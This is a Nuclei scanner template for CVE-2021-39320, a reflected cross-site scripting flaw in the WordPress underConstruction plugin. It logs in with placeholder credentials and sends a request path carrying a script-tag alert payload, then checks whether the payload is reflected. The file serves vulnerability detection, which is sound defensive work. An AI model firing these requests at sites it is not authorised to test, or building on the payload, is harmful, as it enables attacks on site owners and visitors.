53 lines
1.6 KiB
YAML
53 lines
1.6 KiB
YAML
id: CVE-2021-39320
|
|
|
|
info:
|
|
name: WordPress underConstruction Plugin < 1.19 - Cross-Site Scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: |
|
|
The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
|
|
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-39320
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
verified: true
|
|
tags: cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
|
|
- |
|
|
GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
|
|
- 'under-construction'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|